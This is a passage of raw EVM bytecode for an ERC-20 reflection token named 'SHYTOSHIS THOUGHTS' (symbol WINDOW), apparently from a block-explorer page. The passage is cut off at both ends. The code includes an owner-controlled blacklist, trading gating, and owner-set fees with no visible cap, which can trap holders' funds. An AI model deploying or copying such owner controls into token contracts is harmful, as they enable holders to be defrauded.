0390fd5b60005b838390508110156111b457816005600086868581811061113b5761113a61329a565b5b90506020020160208101906111509190612f35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111ac906132f8565b915050611118565b50505050565b6111c26115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112469061327a565b60405180910390fd5b60005b81518110156112e0576001601060008484815181106112745761127361329a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112d8906132f8565b915050611252565b5050565b6112ec6115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611379576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113709061327a565b60405180910390fd5b81601681905550806017819055505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61141a6115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e9061327a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e906133b3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561164c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164390613445565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b3906134d7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161179a9190612d79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180e90613569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187e906135fb565b60405180910390fd5b600081116118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19061368d565b60405180910390fd5b6118d2610e15565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119405750611910610e15565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d2b57601560149054906101000a900460ff166119cf57611961610e15565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c59061371f565b60405180910390fd5b5b601654811115611a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0b9061378b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ab85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aee9061381d565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ba45760175481611b5984610c53565b611b63919061383d565b10611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9a90613905565b60405180910390fd5b5b6000611baf30610c53565b9050600060185482101590506016548210611bca5760165491505b808015611be2575060158054906101000a900460ff16155b8015611c3c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c545750601560169054906101000a900460ff165b8015611caa5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d005750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d2857611d0e82612090565b60004790506000811115611d2657611d2547612384565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dd25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e845750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e93576000905061201a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f3e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f5657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120015750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561201957600a54600c81905550600b54600d819055505b5b612026848484846123f0565b50505050565b6000838311158290612074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206b9190612bb0565b60405180910390fd5b50600083856120839190613925565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c7576120c6613027565b5b6040519080825280602002602001820160405280156120f55781602001602082028036833780820191505090505b509050308160008151811061210d5761210c61329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121af57600080fd5b505afa1580156121c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121e7919061396e565b816001815181106121fb576121fa61329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061226230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115dc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122c6959493929190613a94565b600060405180830381600087803b1580156122e057600080fd5b505af11580156122f4573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600060065482111561235d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235490613b60565b60405180910390fd5b600061236761241d565b905061237c818461244890919063ffffffff16565b915050919050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123ec573d6000803e3d6000fd5b5050565b806123fe576123fd612492565b5b6124098484846124d5565b80612417576124166126a0565b5b50505050565b600080600061242a6126b4565b91509150612441818361244890919063ffffffff16565b9250505090565b600061248a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612713565b905092915050565b6000600c541480156124a657506000600d54145b156124b0576124d3565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124e787612776565b95509550955095509550955061254586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127de90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262681612886565b6126308483612943565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161268d9190612d79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a764000090506126e8670de0b6b3a764000060065461244890919063ffffffff16565b82101561270657600654670de0b6b3a764000093509350505061270f565b81819350935050505b9091565b6000808311829061275a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127519190612bb0565b60405180910390fd5b50600083856127699190613baf565b9050809150509392505050565b60008060008060008060008060006127938a600c54600d5461297d565b92509250925060006127a361241d565b905060008060006127b68e878787612a13565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061282083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061202c565b905092915050565b6000808284612837919061383d565b90508381101561287c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287390613c2c565b60405180910390fd5b8091505092915050565b600061289061241d565b905060006128a78284612a9c90919063ffffffff16565b90506128fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612958826006546127de90919063ffffffff16565b6006819055506129738160075461282890919063ffffffff16565b6007819055505050565b6000806000806129a9606461299b888a612a9c90919063ffffffff16565b61244890919063ffffffff16565b905060006129d360646129c5888b612a9c90919063ffffffff16565b61244890919063ffffffff16565b905060006129fc826129ee858c6127de90919063ffffffff16565b6127de90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2c8589612a9c90919063ffffffff16565b90506000612a438689612a9c90919063ffffffff16565b90506000612a5a8789612a9c90919063ffffffff16565b90506000612a8382612a7585876127de90919063ffffffff16565b6127de90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aaf5760009050612b11565b60008284612abd9190613c4c565b9050828482612acc9190613baf565b14612b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0390613d18565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b51578082015181840152602081019050612b36565b83811115612b60576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b8282612b17565b612b8c8185612b22565b9350612b9c818560208601612b33565b612ba581612b66565b840191505092915050565b60006020820190508181036000830152612bca8184612b77565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1182612be6565b9050919050565b612c2181612c06565b8114612c2c57600080fd5b50565b600081359050612c3e81612c18565b92915050565b6000819050919050565b612c5781612c44565b8114612c6257600080fd5b50565b600081359050612c7481612c4e565b92915050565b60008060408385031215612c9157612c90612bdc565b5b6000612c9f85828601612c2f565b9250506020612cb085828601612c65565b9150509250929050565b60008115159050919050565b612ccf81612cba565b82525050565b6000602082019050612cea6000830184612cc6565b92915050565b6000819050919050565b6000612d15612d10612d0b84612be6565b612cf0565b612be6565b9050919050565b6000612d2782612cfa565b9050919050565b6000612d3982612d1c565b9050919050565b612d4981612d2e565b82525050565b6000602082019050612d646000830184612d40565b92915050565b612d7381612c44565b82525050565b6000602082019050612d8e6000830184612d6a565b92915050565b60008060008060808587031215612dae57612dad612bdc565b5b6000612dbc87828801612c65565b9450506020612dcd87828801612c65565b9350506040612dde87828801612c65565b9250506060612def87828801612c65565b91505092959194509250565b600080600060608486031215612e1457612e13612bdc565b5b6000612e2286828701612c2f565b9350506020612e3386828701612c2f565b9250506040612e4486828701612c65565b9150509250925092565b612e5781612cba565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b600060208284031215612e9057612e8f612bdc565b5b6000612e9e84828501612e65565b91505092915050565b600060ff82169050919050565b612ebd81612ea7565b82525050565b6000602082019050612ed86000830184612eb4565b92915050565b600060208284031215612ef457612ef3612bdc565b5b6000612f0284828501612c65565b91505092915050565b612f1481612c06565b82525050565b6000602082019050612f2f6000830184612f0b565b92915050565b600060208284031215612f4b57612f4a612bdc565b5b6000612f5984828501612c2f565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612f8757612f86612f62565b5b8235905067ffffffffffffffff811115612fa457612fa3612f67565b5b602083019150836020820283011115612fc057612fbf612f6c565b5b9250929050565b600080600060408486031215612fe057612fdf612bdc565b5b600084013567ffffffffffffffff811115612ffe57612ffd612be1565b5b61300a86828701612f71565b9350935050602061301d86828701612e65565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61305f82612b66565b810181811067ffffffffffffffff8211171561307e5761307d613027565b5b80604052505050565b6000613091612bd2565b905061309d8282613056565b919050565b600067ffffffffffffffff8211156130bd576130bc613027565b5b602082029050602081019050919050565b60006130e16130dc846130a2565b613087565b9050808382526020820190506020840283018581111561310457613103612f6c565b5b835b8181101561312d57806131198882612c2f565b845260208401935050602081019050613106565b5050509392505050565b600082601f83011261314c5761314b612f62565b5b813561315c8482602086016130ce565b91505092915050565b60006020828403121561317b5761317a612bdc565b5b600082013567ffffffffffffffff81111561319957613198612be1565b5b6131a584828501613137565b91505092915050565b600080604083850312156131c5576131c4612bdc565b5b60006131d385828601612c65565b92505060206131e485828601612c65565b9150509250929050565b6000806040838503121561320557613204612bdc565b5b600061321385828601612c2f565b925050602061322485828601612c2f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613264602083612b22565b915061326f8261322e565b602082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061330382612c44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613336576133356132c9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061339d602683612b22565b91506133a882613341565b604082019050919050565b600060208201905081810360008301526133cc81613390565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061342f602483612b22565b915061343a826133d3565b604082019050919050565b6000602082019050818103600083015261345e81613422565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c1602283612b22565b91506134cc82613465565b604082019050919050565b600060208201905081810360008301526134f0816134b4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613553602583612b22565b915061355e826134f7565b604082019050919050565b6000602082019050818103600083015261358281613546565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006135e5602383612b22565b91506135f082613589565b604082019050919050565b60006020820190508181036000830152613614816135d8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613677602983612b22565b91506136828261361b565b604082019050919050565b600060208201905081810360008301526136a68161366a565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613709603f83612b22565b9150613714826136ad565b604082019050919050565b60006020820190508181036000830152613738816136fc565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613775601c83612b22565b91506137808261373f565b602082019050919050565b600060208201905081810360008301526137a481613768565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613807602383612b22565b9150613812826137ab565b604082019050919050565b60006020820190508181036000830152613836816137fa565b9050919050565b600061384882612c44565b915061385383612c44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613888576138876132c9565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006138ef602383612b22565b91506138fa82613893565b604082019050919050565b6000602082019050818103600083015261391e816138e2565b9050919050565b600061393082612c44565b915061393b83612c44565b92508282101561394e5761394d6132c9565b5b828203905092915050565b60008151905061396881612c18565b92915050565b60006020828403121561398457613983612bdc565b5b600061399284828501613959565b91505092915050565b6000819050919050565b60006139c06139bb6139b68461399b565b612cf0565b612c44565b9050919050565b6139d0816139a5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a0b81612c06565b82525050565b6000613a1d8383613a02565b60208301905092915050565b6000602082019050919050565b6000613a41826139d6565b613a4b81856139e1565b9350613a56836139f2565b8060005b83811015613a87578151613a6e8882613a11565b9750613a7983613a29565b925050600181019050613a5a565b5085935050505092915050565b600060a082019050613aa96000830188612d6a565b613ab660208301876139c7565b8181036040830152613ac88186613a36565b9050613ad76060830185612f0b565b613ae46080830184612d6a565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613b4a602a83612b22565b9150613b5582613aee565b604082019050919050565b60006020820190508181036000830152613b7981613b3d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bba82612c44565b9150613bc583612c44565b925082613bd557613bd4613b80565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c16601b83612b22565b9150613c2182613be0565b602082019050919050565b60006020820190508181036000830152613c4581613c09565b9050919050565b6000613c5782612c44565b9150613c6283612c44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c9b57613c9a6132c9565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d02602183612b22565b9150613d0d82613ca6565b604082019050919050565b60006020820190508181036000830152613d3181613cf5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd1cccf11bc7f3b74c7b344ef8d70f45cebec78a66ec4c4410fc7ca6ded0487a64736f6c63430008090033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c8063715018a6116100f7578063b360711d11610095578063c92823ba11610064578063c92823ba1461065f578063d9e8ed4314610688578063dd62ed3e146106b1578063f2fde38b146106ee576101d8565b8063b360711d146105b9578063b792507e146105d0578063bfd79284146105f9578063c492f04614610636576101d8565b80638da5cb5b116100d15780638da5cb5b146104fb5780638f9a55c01461052657806395d89b4114610551578063a9059cbb1461057c576101d8565b8063715018a61461047c5780637d1db4a5146104935780637f2feddc146104be576101d8565b80632fd689e31161016f5780634a1263f31161013e5780634a1263f3146103d457806351bc3c85146103ff5780636d8aa8f81461041657806370a082311461043f576101d8565b80632fd689e31461032a578063313ce567146103555780633ee0f5f51461038057806349bd5a5e146103a9576101d8565b806318160ddd116101ab57806318160ddd1461027057806320c09a491461029b57806323b872dd146102c45780632a9b807214610301576101d8565b806306fdde03146101dd578063095ea7b3146102085780631694505e14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610717565b6040516101ff9190612bb0565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612c7a565b610754565b60405161023c9190612cd5565b60405180910390f35b34801561025157600080fd5b5061025a610772565b6040516102679190612d4f565b60405180910390f35b34801561027c57600080fd5b50610285610798565b6040516102929190612d79565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612d94565b6107a8565b005b3480156102d057600080fd5b506102eb60048036038101906102e69190612dfb565b61085f565b6040516102f89190612cd5565b60405180910390f35b34801561030d57600080fd5b5061032860048036038101906103239190612e7a565b610938565b005b34801561033657600080fd5b5061033f6109ea565b60405161034c9190612d79565b60405180910390f35b34801561036157600080fd5b5061036a6109f0565b6040516103779190612ec3565b60405180910390f35b34801561038c57600080fd5b506103a760048036038101906103a29190612ede565b6109f9565b005b3480156103b557600080fd5b506103be610a98565b6040516103cb9190612f1a565b60405180910390f35b3480156103e057600080fd5b506103e9610abe565b6040516103f69190612d79565b60405180910390f35b34801561040b57600080fd5b50610414610ac8565b005b34801561042257600080fd5b5061043d60048036038101906104389190612e7a565b610ba1565b005b34801561044b57600080fd5b5061046660048036038101906104619190612f35565b610c53565b6040516104739190612d79565b60405180910390f35b34801561048857600080fd5b50610491610ca4565b005b34801561049f57600080fd5b506104a8610df7565b6040516104b59190612d79565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190612f35565b610dfd565b6040516104f29190612d79565b60405180910390f35b34801561050757600080fd5b50610510610e15565b60405161051d9190612f1a565b60405180910390f35b34801561053257600080fd5b5061053b610e3e565b6040516105489190612d79565b60405180910390f35b34801561055d57600080fd5b50610566610e44565b6040516105739190612bb0565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e9190612c7a565b610e81565b6040516105b09190612cd5565b60405180910390f35b3480156105c557600080fd5b506105ce610e9f565b005b3480156105dc57600080fd5b506105f760048036038101906105f29190612f35565b610f70565b005b34801561060557600080fd5b50610620600480360381019061061b9190612f35565b611060565b60405161062d9190612cd5565b60405180910390f35b34801561064257600080fd5b5061065d60048036038101906106589190612fc7565b611080565b005b34801561066b57600080fd5b5061068660048036038101906106819190613165565b6111ba565b005b34801561069457600080fd5b506106af60048036038101906106aa91906131ae565b6112e4565b005b3480156106bd57600080fd5b506106d860048036038101906106d391906131ee565b61138b565b6040516106e59190612d79565b60405180910390f35b3480156106fa57600080fd5b5061071560048036038101906107109190612f35565b611412565b005b60606040518060400160405280601281526020017f534859544f534849532054484f55474854530000000000000000000000000000815250905090565b60006107686107616115d4565b84846115dc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6107b06115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108349061327a565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061086c8484846117a7565b61092d846108786115d4565b61092885604051806060016040528060288152602001613d3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108de6115d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202c9092919063ffffffff16565b6115dc565b600190509392505050565b6109406115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c49061327a565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60185481565b60006009905090565b610a016115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a859061327a565b60405180910390fd5b8060188190555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b096115d4565b73ffffffffffffffffffffffffffffffffffffffff161480610b7f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b676115d4565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8857600080fd5b6000610b9330610c53565b9050610b9e81612090565b50565b610ba96115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d9061327a565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b6000610c9d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612316565b9050919050565b610cac6115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d309061327a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600681526020017f57494e444f570000000000000000000000000000000000000000000000000000815250905090565b6000610e95610e8e6115d4565b84846117a7565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ee06115d4565b73ffffffffffffffffffffffffffffffffffffffff161480610f565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f3e6115d4565b73ffffffffffffffffffffffffffffffffffffffff16145b610f5f57600080fd5b6000479050610f6d81612384565b50565b610f786115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc9061327a565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60106020528060005260406000206000915054906101000a900460ff1681565b6110886115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c9061327a565b60405180910390fd5b60005b838390508110156111b457816005600086868581811061113b5761113a61329a565b5b90506020020160208101906111509190612f35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111ac906132f8565b915050611118565b50505050565b6111c26115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112469061327a565b60405180910390fd5b60005b81518110156112e0576001601060008484815181106112745761127361329a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112d8906132f8565b915050611252565b5050565b6112ec6115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611379576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113709061327a565b60405180910390fd5b81601681905550806017819055505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61141a6115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffff